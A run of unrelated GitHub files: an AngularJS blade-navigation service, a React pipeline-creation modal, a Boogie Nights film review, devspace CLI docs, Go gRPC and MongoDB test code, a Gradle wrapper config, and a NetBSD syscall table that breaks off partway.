templateUrl: '$(Platform)/Scripts/app/navigation/blade/bladeContainer.tpl.html',
link: function (scope) {
scope.blades = bladeNavigationService.stateBlades();
}
}
}])
.directive('vaBlade', ['$compile', 'platformWebApp.bladeNavigationService', 'platformWebApp.toolbarService', '$timeout', '$document', 'platformWebApp.dialogService', function ($compile, bladeNavigationService, toolbarService, $timeout, $document, dialogService) {
return {
terminal: true,
priority: 100,
link: function (scope, element) {
element.attr('ng-controller', scope.blade.controller);
element.attr('id', scope.blade.id);
element.attr('ng-model', "blade");
element.removeAttr("va-blade");
$compile(element)(scope);
scope.blade.$scope = scope;
var mainContent = $('.cnt');
var currentBlade = $(element).parent();
var parentBlade = currentBlade.prev();
if (!scope.blade.disableOpenAnimation) {
scope.blade.animated = true;
$timeout(function () {
scope.blade.animated = false;
}, 250);
}
function scrollContent(scrollToBlade, scrollToElement) {
if (!scrollToBlade) {
scrollToBlade = scope.blade;
}
if (!scrollToElement) {
scrollToElement = currentBlade;
}
// we can't just get current blade position (because of animation) or calculate it
// via parent position + parent width (because we may open parent and child blade at the same time)
// instead, we need to use sum of width of all blades
var previousBlades = scrollToElement.prevAll();
var previousBladesWidthSum = 0;
previousBlades.each(function () {
previousBladesWidthSum += $(this).outerWidth();
});
var scrollLeft = previousBladesWidthSum + scrollToElement.outerWidth(!(scrollToBlade.isExpanded || scrollToBlade.isMaximized)) - mainContent.width();
mainContent.animate({ scrollLeft: (scrollLeft > 0 ? scrollLeft : 0) }, 500);
}
var updateSize = function () {
var contentBlock = currentBlade.find(".blade-content");
var containerBlock = currentBlade.find(".blade-container");
var bladeWidth = "";
var bladeMinWidth = "";
if ((scope.blade.isExpandable && scope.blade.isExpanded) || (!scope.blade.isExpandable && scope.blade.isMaximized)) {
// minimal required width + container padding
bladeMinWidth = 'calc(' + contentBlock.css("min-width") + ' + ' + parseInt(containerBlock.outerWidth() - containerBlock.width()) + 'px)';
}
if (scope.blade.isExpandable && scope.blade.isExpanded) {
var offset = parentBlade.length > 0 ? parentBlade.width() : 0;
// free space of view - parent blade size (if exist)
bladeWidth = 'calc(100% - ' + offset + 'px)';
} else if (!scope.blade.isExpandable && scope.blade.isMaximized) {
currentBlade.attr('data-width', currentBlade.outerWidth());
bladeWidth = '100%';
}
currentBlade.width(bladeWidth);
currentBlade.css('min-width', bladeMinWidth);
setVisibleToolsLimit();
}
scope.$watch('blade.isExpanded', function () {
// we must recalculate position only at next digest cycle,
// because at this time blade UI is not fully (re)initialized
// for example, ng-class set classes after this watch called
$timeout(updateSize, 0, false);
});
scope.$on('$includeContentLoaded', function (event, src) {
if (src === scope.blade.template) {
// see above
$timeout(function () {
updateSize();
scrollContent();
}, 0, false);
}
});
scope.bladeMaximize = function () {
scope.blade.isMaximized = true;
updateSize();
scrollContent();
};
scope.bladeMinimize = function () {
scope.blade.isMaximized = false;
updateSize();
};
scope.bladeClose = function (onAfterClose) {
bladeNavigationService.closeBlade(scope.blade, onAfterClose, function (callback) {
scope.blade.animated = true;
scope.blade.closing = true;
$timeout(function () {
currentBlade.remove();
scrollContent(scope.blade.parentBlade, parentBlade);
callback();
}, 125, false);
});
};
scope.$watch('blade.toolbarCommands', function (toolbarCommands) {
scope.resolvedToolbarCommands = toolbarService.resolve(toolbarCommands, scope.blade.controller);
setVisibleToolsLimit();
}, true);
var toolbar = currentBlade.find(".blade-toolbar .menu.__inline");
function setVisibleToolsLimit() {
scope.toolsPerLineCount = scope.resolvedToolbarCommands ? scope.resolvedToolbarCommands.length : 1;
$timeout(function () {
if (toolbar.height() > 55 && scope.toolsPerLineCount > 1) {
var maxToolbarWidth = toolbar.width() - 46; // the 'more' button is 46px wide
//console.log(toolbar.width() + 'maxToolbarWidth: ' + maxToolbarWidth);
var toolsWidth = 0;
var lis = toolbar.find("li");
var i = 0;
while (maxToolbarWidth > toolsWidth && lis.length > i) {
toolsWidth += lis[i].clientWidth;
i++;
}
scope.toolsPerLineCount = i - 1;
}
}, 220);
}
function handleClickEvent() {
setVisibleToolsLimit();
$document.unbind('click', handleClickEvent);
}
scope.showMoreTools = function (event) {
scope.toolsPerLineCount = scope.resolvedToolbarCommands.length;
event.stopPropagation();
$document.bind('click', handleClickEvent);
};
scope.showErrorDetails = function () {
var dialog = { id: "errorDetails" };
if (scope.blade.errorBody != undefined)
dialog.message = scope.blade.errorBody;
dialogService.showDialog(dialog, '$(Platform)/Scripts/app/modularity/dialogs/errorDetails-dialog.tpl.html', 'platformWebApp.confirmDialogController');
};
}
}
}])
.factory('platformWebApp.bladeNavigationService', ['platformWebApp.authService', '$timeout', '$state', 'platformWebApp.dialogService', function (authService, $timeout, $state, dialogService) {
function showConfirmationIfNeeded(showConfirmation, canSave, blade, saveChangesCallback, closeCallback, saveTitle, saveMessage) {
if (showConfirmation) {
var dialog = { id: "confirmCurrentBladeClose" };
if (canSave) {
dialog.title = saveTitle;
dialog.message = saveMessage;
} else {
dialog.title = "Warning";
dialog.message = "Validation failed for this object. Will you continue editing and save later?";
}
dialog.callback = function (userChoseYes) {
if (canSave) {
if (userChoseYes) {
saveChangesCallback();
}
closeCallback();
} else if (!userChoseYes) {
closeCallback();
}
};
dialogService.showConfirmationDialog(dialog);
}
else {
closeCallback();
}
}
var service = {
blades: [],
currentBlade: undefined,
showConfirmationIfNeeded: showConfirmationIfNeeded,
closeBlade: function (blade, callback, onBeforeClosing) {
//Need in case a copy was passed
blade = service.findBlade(blade.id) || blade;
// close all children
service.closeChildrenBlades(blade, function () {
var doCloseBlade = function () {
if (angular.isFunction(onBeforeClosing)) {
onBeforeClosing(doCloseBladeFinal);
} else {
doCloseBladeFinal();
}
}
var doCloseBladeFinal = function () {
var idx = service.stateBlades().indexOf(blade);
if (idx >= 0) service.stateBlades().splice(idx, 1);
//remove blade from children collection
if (angular.isDefined(blade.parentBlade)) {
var childIdx = blade.parentBlade.childrenBlades.indexOf(blade);
if (childIdx >= 0) {
blade.parentBlade.childrenBlades.splice(childIdx, 1);
}
}
if (angular.isFunction(callback)) {
callback();
};
};
if (angular.isFunction(blade.onClose)) {
blade.onClose(doCloseBlade);
}
else {
doCloseBlade();
}
});
if (blade.parentBlade && blade.parentBlade.isExpandable) {
blade.parentBlade.isExpanded = true;
if (angular.isFunction(blade.parentBlade.onExpand)) {
blade.parentBlade.onExpand();
}
}
},
closeChildrenBlades: function (blade, callback) {
if (blade && _.any(blade.childrenBlades)) {
angular.forEach(blade.childrenBlades.slice(), function (child) {
service.closeBlade(child, function () {
// show only when all children were closed
if (blade.childrenBlades.length == 0 && angular.isFunction(callback)) {
callback();
}
});
});
} else if (angular.isFunction(callback)) {
callback();
}
},
stateBlades: function (stateName) {
if (angular.isUndefined(stateName)) {
stateName = $state.current.name;
}
if (angular.isUndefined(service.blades[stateName])) {
service.blades[stateName] = [];
}
return service.blades[stateName];
},
findBlade: function (id) {
var found;
angular.forEach(service.stateBlades(), function (blade) {
if (blade.id == id) {
found = blade;
}
});
return found;
},
showBlade: function (blade, parentBlade) {
//If it is first blade for state try to open saved blades
//var firstStateBlade = service.stateBlades($state.current.name)[0];
//if (angular.isDefined(firstStateBlade) && firstStateBlade.id == blade.id) {
// service.currentBlade = firstStateBlade;
// return;
//}
blade.errorBody = "";
blade.isLoading = true;
blade.parentBlade = parentBlade;
blade.childrenBlades = [];
if (parentBlade) {
blade.headIcon = blade.headIcon || parentBlade.headIcon;
blade.updatePermission = blade.updatePermission || parentBlade.updatePermission;
}
//copy securityscopes from parent blade
if (parentBlade != null && parentBlade.securityScopes) {
//need merge scopes
if (angular.isArray(blade.securityScopes) && angular.isArray(parentBlade.securityScopes)) {
blade.securityScopes = parentBlade.securityScopes.concat(blade.securityScopes);
}
else {
blade.securityScopes = parentBlade.securityScopes;
}
}
var existingBlade = service.findBlade(blade.id);
//Show blade in previous location
if (existingBlade != undefined) {
//store prev blade x-index
blade.xindex = existingBlade.xindex;
} else if (!angular.isDefined(blade.xindex)) {
//Show blade as last one by default
blade.xindex = service.stateBlades().length;
}
var showBlade = function () {
if (angular.isDefined(parentBlade)) {
blade.xindex = service.stateBlades().indexOf(parentBlade) + 1;
parentBlade.childrenBlades.push(blade);
}
//show blade in same place where it was
service.stateBlades().splice(Math.min(blade.xindex, service.stateBlades().length), 0, blade);
service.currentBlade = blade;
};
if (angular.isDefined(parentBlade) && parentBlade.childrenBlades.length > 0) {
service.closeChildrenBlades(parentBlade, showBlade);
}
else if (angular.isDefined(existingBlade)) {
service.closeBlade(existingBlade, showBlade);
}
else {
$timeout(function () {
showBlade();
});
}
if (parentBlade && parentBlade.isExpandable && parentBlade.isExpanded) {
parentBlade.isExpanded = false;
if (angular.isFunction(parentBlade.onCollapse)) {
parentBlade.onCollapse();
}
}
if (blade.isExpandable) {
blade.isExpanded = true;
if (angular.isFunction(blade.onExpand)) {
blade.onExpand();
}
}
blade.hasUpdatePermission = function () {
return authService.checkPermission(blade.updatePermission, blade.securityScopes);
};
},
checkPermission: authService.checkPermission,
setError: function (response, blade) {
if (blade && response) {
blade.isLoading = false;
blade.error = response.status && response.statusText ? response.status + ': ' + response.statusText : response;
blade.errorBody = response.data ? response.data.exceptionMessage || response.data.message || response.data.errors.join('<br>') : blade.errorBody || blade.error;
}
}
};
return service;
}]);
|
{
"pile_set_name": "Github"
}
|
import React, {useEffect, useState} from "react";
import {AutoComplete, Button, Cascader, Col, Form, Input, message, Modal, Row, Space, Switch, Tag} from "antd";
import {Select} from "antd/es";
import {Store} from "rc-field-form/lib/interface"
import {fetchWorkerZones} from "@/services/testplatform";
import {WorkerZone} from "@/models/testplatform/types";
import {fetchCollections} from "@/services/httptest";
import {MinusCircleOutlined, PlusOutlined} from "@ant-design/icons/lib";
import {fetchServiceMethodTree} from "@/services/grpctest";
import {grpcAddrList} from "@/services/app";
interface ModalCreatePipelineProps {
visible: boolean
onFinish: (fields: Store) => void
onCancel: () => void
env: string
zoneCode: string
appName: string
}
interface GrpcAddr {
port: string,
hosts: {
env: string
addr: string
}[]
}
const formItemLayout = {
labelCol: {
xs: {span: 24},
sm: {span: 4},
},
wrapperCol: {
xs: {span: 24},
sm: {span: 20},
},
};
const formItemLayoutWithOutLabel = {
wrapperCol: {
xs: {span: 24, offset: 0},
sm: {span: 20, offset: 4},
},
};
export default function ModalCreatePipeline(props: ModalCreatePipelineProps) {
const {visible, env, zoneCode, appName} = props
const [form] = Form.useForm()
const [workerZones, setWorkerZones] = useState<WorkerZone[]>([])
const [httpCollections, setHttpCollections] = useState<{ id: number, name: string, test_cases: any[] }[]>([])
const [grpcTestFlag, setGrpcTestFlag] = useState(false)
const [services, setServices] = useState([])
const [testCases, setTestCases] = useState({}) // service -> test cases
const [grpcAddr, setGrpcAddr] = useState<GrpcAddr | null>(null)
useEffect(() => {
if (visible) {
grpcAddrList({app_name: appName}).then(r => {
setGrpcAddr(r.data)
})
fetchServiceMethodTree(appName).then(r => {
if (r.code === 14000) return
if (r.code !== 0) {
message.error(r.msg)
return
}
setServices(r.data)
})
}
}, [visible])
useEffect(() => {
fetchWorkerZones().then(r => {
if (r.code === 14000) return
if (r.code !== 0) {
message.error("加载 Worker 节点失败 " + r.msg)
return
}
setWorkerZones(r.data)
})
}, [])
useEffect(() => {
form.setFieldsValue({
env: env,
zone_code: zoneCode === 'all' ? null : zoneCode,
app_name: appName,
unit_test: true,
code_check: true
})
fetchCollections(appName).then(r => {
if (r.code === 14000) return
if (r.code !== 0) {
message.error(r.msg)
return
}
setHttpCollections(r.data.list || [])
})
}, [env, zoneCode, appName])
const testCaseCascadeOptions = services?.map((item: any, index: number) => {
return {
value: item.id,
label: item.name,
children: item.methods?.map((method: any) => ({
value: method.id,
label: method.name,
children: method.use_cases?.map((useCase: any) => ({
value: useCase.id,
label: useCase.name
})) || []
}))
}
}) || []
return <Modal
title={"创建 Pipeline"}
visible={visible}
onOk={() => form.submit()}
onCancel={props.onCancel}
width={grpcTestFlag ? "900px" : "500px"}
>
<Form
form={form}
onFinish={props.onFinish}
>
<Row gutter={15}>
<Col span={grpcTestFlag ? 10 : 24}>
<Form.Item label={"Env"} name={"env"}>
<Input disabled/>
</Form.Item>
<Form.Item label={"App"} name={"app_name"}>
<Input disabled/>
</Form.Item>
<Form.Item
label={"名称"}
name={"name"}
rules={[
{required: true, message: "请输入 Pipeline 名称"},
{pattern: /^[a-zA-Z0-9_-]{4,32}$/, message: 'Pipeline名称只能为 a-zA-Z0-9_- 组合,长度为 4 - 32 位'}
]}
>
<Input/>
</Form.Item>
<Form.Item
label={"代码分支"}
name={"branch"}
rules={[
{required: true, message: '请输入代码分支'}
]}
>
<Input/>
</Form.Item>
<Form.Item
label={"机房"} name={"zone_code"}
rules={[
{required: true, message: "请选择机房"}
]}
>
<Select disabled={zoneCode !== 'all'}>
{workerZones.map((item, id) => <Select.Option key={id}
value={item.zone_code}>{item.zone_name}</Select.Option>)}
</Select>
</Form.Item>
<Form.Item label={"Http测试集合(可选)"} name={"http_test_collection"}>
<Select allowClear>
{httpCollections.map((item, idx) => <Select.Option value={item.id} key={idx}>
{item.name}({item.test_cases.length}个用例)
</Select.Option>)}
</Select>
</Form.Item>
<Form.Item label={"单元测试"} name={"unit_test"} valuePropName={"checked"}>
<Switch/>
</Form.Item>
<Form.Item label={"静态检查"} name={"code_check"} valuePropName={"checked"}>
<Switch/>
</Form.Item>
<Form.Item label={"GRPC接口测试"}>
<Switch onChange={val => {
setGrpcTestFlag(val)
form.setFieldsValue({
grpc_test_cases: val ? [{}] : []
})
}}/>
</Form.Item>
</Col>
{/*GRPC 测试用例*/}
{grpcTestFlag && <Col span={14}>
<Form.Item label={"GRPC服务地址"} name={"grpc_test_addr"}>
<AutoComplete placeholder={"1.2.3.4:1234"}>
{grpcAddr && grpcAddr.hosts?.map((item, idx) => <AutoComplete.Option
value={item.addr + ':' + grpcAddr.port}>
<Tag>{item.env}</Tag> {item.addr} : {grpcAddr.port}
</AutoComplete.Option>)}
</AutoComplete>
</Form.Item>
<Form.List name={"grpc_test_cases"}>
{(fields, {add, remove}) => {
return <div>
{fields.map((field, index) => {
return <Form.Item
{...(index === 0 ? formItemLayout : formItemLayoutWithOutLabel)}
label={index === 0 ? 'GRPC用例' : ''}
key={field.key}
>
<Space>
<Form.Item
noStyle name={[field.name, "testcase"]}
rules={[
{required: true, message: '请选择用例'}
]}
>
<Cascader options={testCaseCascadeOptions} style={{width: '400px'}}/>
</Form.Item>
<Form.Item noStyle>
{index > 0 && <MinusCircleOutlined
onClick={() => {
setTestCases({
...testCases,
[field.name]: undefined
})
remove(field.name);
}}
/>}
</Form.Item>
</Space>
</Form.Item>
})}
<Form.Item>
<Button
type="dashed"
onClick={() => {
add();
}}
block
>
<PlusOutlined/> 新增用例
</Button>
</Form.Item>
</div>
}}
</Form.List>
</Col>}
</Row>
</Form>
</Modal>
}
|
{
"pile_set_name": "Github"
}
|
one way of telling if a film is good or not is by the length .
if a film is only 90 minutes , but feels like 300 minutes , then it's crap .
but if a film last 2 1/2 hours , and feels like 90 minutes , then it's excellent .
boogie nights falls into the latter catagory .
the director , anderson , delivers a funny , hip , yet sometimes violent film , which flies along .
mark whalberg , a . k . a
marky mark , plays eddie adams , a seventeen year old with a certain 'gift' in the midriff area .
jack horner ( reynolds ) is a adult film director , who decides that eddie would be great in the adult movie business .
after running away from home , eddie joins jack , changes his name to dirk diggler , and starts making erotic movies .
in the movie business , dirk meets a whole load of characters ( which the film introduces very quickly and slickly ) such as scotty ( phillip seymour hoffman ) , rollergirl ( graham ) amber ( moore ) and floyd ( phillip baker hall ) , and little bill ( william h . macy ) all the characters are well written , well played , and the audience gets to know them pretty well , thanks to the excellent script .
we learn about ambers grief about not being able to see her child due to a divorce , rollergirls hard time at school , and little bills wife , who sleeps with everyone except her husband .
but the best thing about the excellent boogie nights is paul andersons direction and writing .
the direction is fast , thrilling , and never holds up .
there are some great shots , some lovely steadiocam and handheld camera sequences , and lots of other neat directional touches .
the writing is fabulous , with some intelligent dialogue , some funny dialogue , but none of the dialogue is crap , like most hollywood films ( such as the lost world : jurassic park ( 1997 ) , or tommorow never dies ( 1997 ) . )
boogie nights really is a spectacular feat of direction and writing , on par ( and sometimes betters ) quentin tarantino's films resevoir dogs ( 1992 ) and pulp fiction ( 1994 )
the soundtrack is also excellent .
like american graffiti ( 1973 ) , the film features some great old songs on the soundtrack , which heightens the atmosphere , and gives the film an extra lift .
also , the costumes are great .
the clothes really do look like what people wore in the seventies and eighties .
the film , although excellent , does have some flaws .
firstly , wahlberg , although excellent , cannot do highly scenes which require him to be angry .
in both scenes where he has to act angry , his acting is so 'off' , the scenes tension and anger is lost .
but the rest of the cast are excellent .
burt reynolds is brilliant , julianne moore shows real emotion , and william h . macy is great aswell ( but he always is . )
another flaw with the film , though , is that the ending seems a bit tacked on .
it seems anderson saw the film was going on a bit , and needed to wrap up quickly .
it's a shame , really , as the rest of the film is perfectly paced .
but they're small niggles really .
boogie nights is an excellent film .
superb directing , writing , acting and music , all combine to make one spectacular film .
whatever you do , do not miss out on boogie nights .
|
{
"pile_set_name": "Github"
}
|
---
title: "Command - devspace list teams"
sidebar_label: devspace list teams
---
the "loft" plugin
## Synopsis
```
devspace list teams [flags]
```
```
the "loft" plugin
```
## Flags
```
-h, --help help for teams
```
## Global & Inherited Flags
```
--config string The devspace config file to use
--debug Prints the stack trace if an error occurs
--kube-context string The kubernetes context to use
-n, --namespace string The kubernetes namespace to use
--no-warn If true does not show any warning when deploying into a different namespace or kube-context than before
-p, --profile string The devspace profile to use (if there is any)
--silent Run in silent mode and prevents any devspace log output except panics & fatals
-s, --switch-context Switches and uses the last kube context and namespace that was used to deploy the DevSpace project
--var strings Variables to override during execution (e.g. --var=MYVAR=MYVALUE)
```
|
{
"pile_set_name": "Github"
}
|
// Copyright 2018 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build linux,!gccgo
package unix
// SyscallNoError may be used instead of Syscall for syscalls that don't fail.
func SyscallNoError(trap, a1, a2, a3 uintptr) (r1, r2 uintptr)
// RawSyscallNoError may be used instead of RawSyscall for syscalls that don't
// fail.
func RawSyscallNoError(trap, a1, a2, a3 uintptr) (r1, r2 uintptr)
|
{
"pile_set_name": "Github"
}
|
package main
import (
"context"
"io"
"log"
"net"
"google.golang.org/grpc/reflection"
"google.golang.org/grpc"
hs "../HelloService"
)
type HelloServiceImpl struct{}
func (p *HelloServiceImpl) Hello(
ctx context.Context, args *hs.String,
) (*hs.String, error) {
reply := &hs.String{Value: "hello:" + args.GetValue()}
return reply, nil
}
//grpc stream
func (p *HelloServiceImpl) Channel(stream hs.HelloService_ChannelServer) error {
for {
args, err := stream.Recv()
if err != nil {
if err == io.EOF {
return nil
}
return err
}
reply := &hs.String{Value: "hello:" + args.GetValue()}
err = stream.Send(reply)
if err != nil {
return err
}
}
}
func main() {
grpcServer := grpc.NewServer()
hs.RegisterHelloServiceServer(grpcServer, new(HelloServiceImpl))
//Register reflection service on gRPC server.
reflection.Register(grpcServer)
lis, err := net.Listen("tcp", ":1234")
if err != nil {
log.Fatal(err)
}
grpcServer.Serve(lis)
}
|
{
"pile_set_name": "Github"
}
|
distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
zipStoreBase=GRADLE_USER_HOME
zipStorePath=wrapper/dists
distributionUrl=https\://services.gradle.org/distributions/gradle-2.4-all.zip
|
{
"pile_set_name": "Github"
}
|
package mongokit
import (
"fmt"
"go.mongodb.org/mongo-driver/bson"
"go.mongodb.org/mongo-driver/mongo"
"go.mongodb.org/mongo-driver/mongo/options"
)
const testDB = "test-lungo-mongokit"
var testMongoClient *mongo.Client
var testCollCounter = 0
func init() {
mongoClient, err := mongo.Connect(nil, options.Client().ApplyURI("mongodb://localhost"))
if err != nil {
panic(err)
}
err = mongoClient.Database(testDB).Drop(nil)
if err != nil {
panic(err)
}
testMongoClient = mongoClient
}
func testCollection() *mongo.Collection {
testCollCounter++
name := fmt.Sprintf("n-%d", testCollCounter)
return testMongoClient.Database(testDB).Collection(name)
}
func convertArray(array []interface{}) bson.A {
a := make(bson.A, 0, len(array))
for _, item := range array {
if arr, ok := item.([]interface{}); ok {
item = convertArray(arr)
}
a = append(a, item)
}
return a
}
|
{
"pile_set_name": "Github"
}
|
// go run mksysnum.go http://cvsweb.netbsd.org/bsdweb.cgi/~checkout~/src/sys/kern/syscalls.master
// Code generated by the command above; see README.md. DO NOT EDIT.
// +build 386,netbsd
package unix
const (
SYS_EXIT = 1 // { void|sys||exit(int rval); }
SYS_FORK = 2 // { int|sys||fork(void); }
SYS_READ = 3 // { ssize_t|sys||read(int fd, void *buf, size_t nbyte); }
SYS_WRITE = 4 // { ssize_t|sys||write(int fd, const void *buf, size_t nbyte); }
SYS_OPEN = 5 // { int|sys||open(const char *path, int flags, ... mode_t mode); }
SYS_CLOSE = 6 // { int|sys||close(int fd); }
SYS_LINK = 9 // { int|sys||link(const char *path, const char *link); }
SYS_UNLINK = 10 // { int|sys||unlink(const char *path); }
SYS_CHDIR = 12 // { int|sys||chdir(const char *path); }
SYS_FCHDIR = 13 // { int|sys||fchdir(int fd); }
SYS_CHMOD = 15 // { int|sys||chmod(const char *path, mode_t mode); }
SYS_CHOWN = 16 // { int|sys||chown(const char *path, uid_t uid, gid_t gid); }
SYS_BREAK = 17 // { int|sys||obreak(char *nsize); }
SYS_GETPID = 20 // { pid_t|sys||getpid_with_ppid(void); }
SYS_UNMOUNT = 22 // { int|sys||unmount(const char *path, int flags); }
SYS_SETUID = 23 // { int|sys||setuid(uid_t uid); }
SYS_GETUID = 24 // { uid_t|sys||getuid_with_euid(void); }
SYS_GETEUID = 25 // { uid_t|sys||geteuid(void); }
SYS_PTRACE = 26 // { int|sys||ptrace(int req, pid_t pid, void *addr, int data); }
SYS_RECVMSG = 27 // { ssize_t|sys||recvmsg(int s, struct msghdr *msg, int flags); }
SYS_SENDMSG = 28 // { ssize_t|sys||sendmsg(int s, const struct msghdr *msg, int flags); }
SYS_RECVFROM = 29 // { ssize_t|sys||recvfrom(int s, void *buf, size_t len, int flags, struct sockaddr *from, socklen_t *fromlenaddr); }
SYS_ACCEPT = 30 // { int|sys||accept(int s, struct sockaddr *name, socklen_t *anamelen); }
SYS_GETPEERNAME = 31 // { int|sys||getpeername(int fdes, struct sockaddr *asa, socklen_t *alen); }
SYS_GETSOCKNAME = 32 // { int|sys||getsockname(int fdes, struct sockaddr *asa, socklen_t *alen); }
SYS_ACCESS = 33 // { int|sys||access(const char *path, int flags); }
SYS_CHFLAGS = 34 // { int|sys||chflags(const char *path, u_long flags); }
SYS_FCHFLAGS = 35 // { int|sys||fchflags(int fd, u_long flags); }
SYS_SYNC = 36 // { void|sys||sync(void); }
SYS_KILL = 37 // { int|sys||kill(pid_t pid, int signum); }
SYS_GETPPID = 39 // { pid_t|sys||getppid(void); }
SYS_DUP = 41 // { int|sys||dup(int fd); }
SYS_PIPE = 42 // { int|sys||pipe(void); }
SYS_GETEGID = 43 // { gid_t|sys||getegid(void); }
SYS_PROFIL = 44 // { int|sys||profil(char *samples, size_t size, u_long offset, u_int scale); }
SYS_KTRACE = 45 // { int|sys||ktrace(const char *fname, int ops, int facs, pid_t pid); }
SYS_GETGID = 47 // { gid_t|sys||getgid_with_egid(void); }
SYS___GETLOGIN = 49 // { int|sys||__getlogin(char *namebuf, size_t namelen); }
SYS___SETLOGIN = 50 // { int|sys||__setlogin(const char *namebuf); }
SYS_ACCT = 51 // { int|sys||acct(const char *path); }
SYS_IOCTL = 54 // { int|sys||ioctl(int fd, u_long com, ... void *data); }
SYS_REVOKE = 56 // { int|sys||revoke(const char *path); }
SYS_SYMLINK = 57 // { int|sys||symlink(const char *path, const char *link); }
SYS_READLINK = 58 // { ssize_t|sys||readlink(const char *path, char *buf, size_t count); }
SYS_EXECVE = 59 // { int|sys||execve(const char *path, char * const *argp, char * const *envp); }
SYS_UMASK = 60 // { mode_t|sys||umask(mode_t newmask); }
SYS_CHROOT = 61 // { int|sys||chroot(const char *path); }
SYS_VFORK = 66 // { int|sys||vfork(void); }
SYS_SBRK = 69 // { int|sys||sbrk(intptr_t incr); }
SYS_SSTK = 70 // { int|sys||sstk(int incr); }
SYS_VADVISE = 72 // { int|sys||ovadvise(int anom); }
SYS_MUNMAP = 73 // { int|sys||munmap(void *addr, size_t len); }
SYS_MPROTECT = 74 // { int|sys||mprotect(void *addr, size_t len, int prot); }
SYS_MADVISE = 75 // { int|sys||madvise(void *addr, size_t len, int behav); }
SYS_MINCORE = 78 // { int|sys||mincore(void *addr, size_t len, char *vec); }
SYS_GETGROUPS = 79 // { int|sys||getgroups(int gidsetsize, gid_t *gidset); }
SYS_SETGROUPS = 80 // { int|sys||setgroups(int gidsetsize, const gid_t *gidset); }
SYS_GETPGRP = 81 // { int|sys||getpgrp(void); }
SYS_SETPGID = 82 // { int|sys||setpgid(pid_t pid, pid_t pgid); }
SYS_DUP2 = 90 // { int|sys||dup2(int from, int to); }
SYS_FCNTL = 92 // { int|sys||fcntl(int fd, int cmd, ... void *arg); }
SYS_FSYNC = 95 // { int|sys||fsync(int fd); }
SYS_SETPRIORITY = 96 // { int|sys||setpriority(int which, id_t who, int prio); }
SYS_CONNECT = 98 // { int|sys||connect(int s, const struct sockaddr *name, socklen_t namelen); }
SYS_GETPRIORITY = 100 // { int|sys||getpriority(int which, id_t who); }
SYS_BIND = 104 // { int|sys||bind(int s, const struct sockaddr *name, socklen_t namelen); }
SYS_SETSOCKOPT = 105 // { int|sys||setsockopt(int s, int level, int name, const void *val, socklen_t valsize); }
SYS_LISTEN = 106 // { int|sys||listen(int s, int backlog); }
SYS_GETSOCKOPT = 118 // { int|sys||getsockopt(int s, int level, int name, void *val, socklen_t *avalsize); }
SYS_READV = 120 // { ssize_t|sys||readv(int fd, const struct iovec *iovp, int iovcnt); }
SYS_WRITEV = 121 // { ssize_t|sys||writev(int fd, const struct iovec *iovp, int iovcnt); }
SYS_FCHOWN = 123 // { int|sys||fchown(int fd, uid_t uid, gid_t gid); }
SYS_FCHMOD = 124 // { int|sys||fchmod(int fd, mode_t mode); }
SYS_SETREUID = 126 // { int|sys||setreuid(uid_t ruid, uid_t euid); }
SYS_SETREGID = 127 // { int|sys||setregid(gid_t rgid, gid_t egid); }
SYS_RENAME = 128 // { int|sys||rename(const char *from, const char *to); }
SYS_FLOCK = 131 // { int|sys||flock(int fd, int how); }
SYS_MKFIFO = 132 // { int|sys||mkfifo(const char *path, mode_t mode); }
SYS_SENDTO = 133 // { ssize_t|sys||sendto(int s, const void *buf, size_t len, int flags, const struct sockaddr *to, socklen_t tolen); }
SYS_SHUTDOWN = 134 // { int|sys||shutdown(int s, int how); }
SYS_SOCKETPAIR = 135 // { int|sys||socketpair(int domain, int type, int protocol, int *rsv); }
SYS_MKDIR = 136 // { int|sys||mkdir(const char *path, mode_t mode); }
SYS_RMDIR = 137 // { int|sys||rmdir(const char *path); }
SYS_SETSID = 147 // { int|sys||setsid(void); }
SYS_SYSARCH = 165 // { int|sys||sysarch(int op, void *parms); }
SYS_PREAD = 173 // { ssize_t|sys||pread(int fd, void *buf, size_t nbyte, int PAD, off_t offset); }
SYS_PWRITE = 174 // { ssize_t|sys||pwrite(int fd, const void *buf, size_t nbyte, int PAD, off_t offset); }
SYS_NTP_ADJTIME = 176 // { int|sys||ntp_adjtime(struct timex *tp); }
SYS_SETGID = 181 // { int|sys||setgid(gid_t gid); }
SYS_SETEGID = 182 // { int|sys||setegid(gid_t egid); }
SYS_SETEUID = 183 // { int|sys||seteuid(uid_t euid); }
SYS_PATHCONF = 191 // { long|sys||pathconf(const char *path, int name); }
SYS_FPATHCONF = 192 // { long|sys||fpathconf(int fd, int name); }
SYS_GETRLIMIT = 194 // { int|sys||getrlimit(int which, struct rlimit *rlp); }
SYS_SETRLIMIT = 195 // { int|sys||setrlimit(int which, const struct rlimit *rlp); }
SYS_MMAP = 197 // { void *|sys||mmap(void *addr, size_t len, int prot, int flags, int fd, long PAD, off_t pos); }
SYS_LSEEK = 199 // { off_t|sys||lseek(int fd, int PAD, off_t offset, int whence); }
SYS_TRUNCATE = 200 // { int|sys||truncate(const char *path, int PAD, off_t length); }
SYS_FTRUNCATE = 201 // { int|sys||ftruncate(int fd, int PAD, off_t length); }
SYS___SYSCTL = 202 // { int|sys||__sysctl(const int *name, u_int namelen, void *old, size_t *oldlenp, const void *new, size_t newlen); }
SYS_MLOCK = 203 // { int|sys||mlock(const void *addr, size_t len); }
SYS_MUNLOCK = 204 // { int|sys||munlock(const void *addr, size_t len); }
SYS_UNDELETE = 205 // { int|sys||undelete(const char *path); }
SYS_GETPGID = 207 // { pid_t|sys||getpgid(pid_t pid); }
SYS_REBOOT = 208 // { int|sys||reboot(int opt, char *bootstr); }
SYS_POLL = 209 // { int|sys||poll(struct pollfd *fds, u_int nfds, int timeout); }
SYS_SEMGET = 221 // { int|sys||semget(key_t key, int nsems, int semflg); }
SYS_SEMOP = 222 // { int|sys||semop(int semid, struct sembuf *sops, size_t nsops); }
SYS_SEMCONFIG = 223 // { int|sys||semconfig(int flag); }
SYS_MSGGET = 225 // { int|sys||msgget(key_t key, int msgflg); }
SYS_MSGSND = 226 // { int|sys||msgsnd(int msqid, const void *msgp, size_t msgsz, int msgflg); }
SYS_MSGRCV = 227 // { ssize_t|sys||msgrcv(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg); }
SYS_SHMAT = 228 // { void *|sys||shmat(int shmid, const void *shmaddr, int shmflg); }
SYS_SHMDT = 230 // { int|sys||shmdt(const void *shmaddr); }
SYS_SHMGET = 231 // { int|sys||shmget(key_t key, size_t size, int shmflg); }
